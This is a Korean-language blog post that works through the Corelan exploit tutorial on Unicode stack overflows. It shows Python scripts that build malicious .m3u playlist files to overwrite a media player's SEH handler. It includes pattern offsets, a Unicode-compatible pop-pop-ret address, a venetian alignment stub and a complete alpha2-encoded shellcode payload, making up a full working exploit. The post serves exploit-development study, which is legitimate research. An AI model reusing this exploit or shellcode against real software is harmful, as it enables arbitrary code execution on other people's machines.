https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/

 

Exploit writing tutorial part 7 : Unicode – from 0x00410041 to calc | Corelan Cybersecurity Research

Finally … after spending a couple of weeks working on unicode and unicode exploits, I’m glad and happy to be able to release this next article in my basic exploit writing series : writing exploits for stack based unicode buffer overflows (wow - that’

www.corelan.be

 

 

이번 글에서는 유니코드와 베니스 쉘코드에 대해 알아 보겠습니다.

 

1. Unicode

유니코드는 ASCII 코드보다 표현할 수 있는 범위가 넓고 기본 인코딩으로 2byte를 사용합니다.

예를 들면, A를 입력할 경우 ASCII는 0x41이지만, 유니코드로 입력 받으면 0x0041 됩니다.

따라서, eip를 overwrite할 경우 2byte 밖에 컨트롤할 수 없습니다.

 

payload를 입력 했을 때, Unicode로 데이터가 메모리에 저장될 경우 어떻게 shell를 실행 시킬 수 있는 지 알아 보겠습니다.

 

 

2. Unicode exploit

dumy = "\x41"*5000
f = open("crash.m3u","w")
f.write(dumy)

print("create complete !")
f.close()

위와 같이 코드를 짜고 파일을 프로그램에 로드 시킵니다.

 

windbg로 실행시키면 Pointer to Exception Handler가 A로 덮인 걸 확인할 수 있습니다.

dumy = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af(생략)"
f = open("crash.m3u","w")
f.write(dumy)

print("create complete !")
f.close()

pattern을 통해서 Pointer to Exception Handler 까지 offset를 확인합니다.

Pointer to Exception Handler의 값(0x12f28c) 4byte를 확인하면 아래와 같습니다.

일반적인 seh overwrite 공격을 위해 pop pop ret 가젯을 pvefindaddr이라는 이뮤니티 디버거 플러그인으로 찾습니다.

여기서 유니코드로 변환 되었을 때, pop pop ret이 제대로 적용 될 수 있는 주소를 찾으면 아래와 같습니다.

즉, \x84\x47을 Pointer to Exception Handler 값으로 주면 0x0047201e 주소로 변환되어 pop pop ret을 동작하게 됩니다.

다음으로 원래 next seh에 jmp shellcode가 들어가지만, 해당 프로그램은 유니코드로 처리되어, NOP와 같이 의미 없는 명령어들을 넣어 nest seh와 Pointer to Exception Handler를 넘어 shellcode가 실행 될 수 있도록 해보겠습니다.

 

결론적으로 next seh 값으로 0x61과 0x71을 넣습니다.

0x61은 popad 명령어이고  0x71은 0x61 0x00 명령어가 실행되지 않는 것을 방지합니다. 즉, 0x61 0x71이 유니코드로 바뀌면 0x61 0x00 0x71 0x00인데, 0x00 0x71 0x00은 add byte ptr [eax], dh를 뜻하고 레지스터에 조금 조작이 들어갈 뿐 프로그램 흐름에 지장이 없습니다.

 

dumy = "\x41"*218
nextseh = "\x61\x70"
seh = "\x84\x47"
exception = "A"*5000
f = open("seh.m3u","w")

f.write(dumy+nextseh+seh+exception)

print("create complete !")
f.close()

 

windbg로 확인해 보겠습니다.

next seh 코드를 지나 shellcode(A로 덮은) 부분을 실행하는 것을 확인 할 수 있습니다.

이제 유니코드로 인코딩된 shellcode를 입력하고 실행하면 끝입니다.

alpha2와 eax를 통해 shellcode를 실행하기 위해서는 eax를 shellcode 주소로 가리키게 만들어야 합니다.

eax 레지스터가 가리키는 주소에 shellcode를 넣어야 하므로 100만큼 공간을 만들어야 합니다.

이를 위한 코드는 아래와 같습니다.

Add eax, 1001400
sub eax, 1001300
push eax
ret

 

위 어셈블리어를 실행하게 되면 eax + 0x100이 됩니다.

어셈 끝 부분에(0x12f2a8) shellcode가 위치하는 주소(0x12f38c)까지의 오프셋 값(226)을 더 추가하면 shellcode가 실행됩니다.

dumy = "\x41"*218
nextseh = "\x61\x70"
seh = "\x84\x47"
addeax = "\x05\x14\x11"
padding = "\x6e"
subeax = "\x2d\x13\x11"
pusheax = "\x50"
ret = "\xc3"
shell = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARA"+"LAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZA"+"BABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB"+"KLK8U9M0M0KPS0U99UNQ8RS44KPR004K22LLDKR2MD4KCBMX"+"LOGG0JO6NQKOP1WPVLOLQQCLM2NLMPGQ8OLMM197K2ZP22B7"+"TK0RLPTK12OLM1Z04KOPBX55Y0D4OZKQXP0P4KOXMHTKR8MP"+"KQJ3ISOL19TKNTTKM18VNQKONQ90FLGQ8OLMKQY7NXK0T5L4"+"M33MKHOKSMND45JBR84K0XMTKQHSBFTKLL0KTK28MLM18S4K"+"KT4KKQXPSYOTNDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM"+"2JKQTMSU89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU"+"7MEMKOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"+"QQ2LRCM0LJA"
dumy2 = "A"*113
exception = "A"*5000
f = open("exploit.m3u","w")

f.write(dumy+nextseh+seh+addeax+padding+subeax+padding+pusheax+padding+ret+dumy2+shell+exception)

print("create complete !")
f.close()

 

 

 

참고

https://flack3r.tistory.com/entry/%EC%9C%A0%EB%8B%88%EC%BD%94%EB%93%9C-%EC%9D%B5%EC%8A%A4%ED%94%8C%EB%A1%9C%EC%9E%87 

https://blog.naver.com/newp1ayer48/222480200348

 

 

 

'윈도우 버그 헌팅' 카테고리의 다른 글

Exploit writing tutorial part 9  (0) 2024.03.07
Exploit writing tutorial part 8  (0) 2024.03.06
Exploit writing tutorial part 6  (0) 2024.03.01
Exploit writing tutorial part 3  (0) 2024.02.21
Exploit writing tutorial part 2  (0) 2024.02.20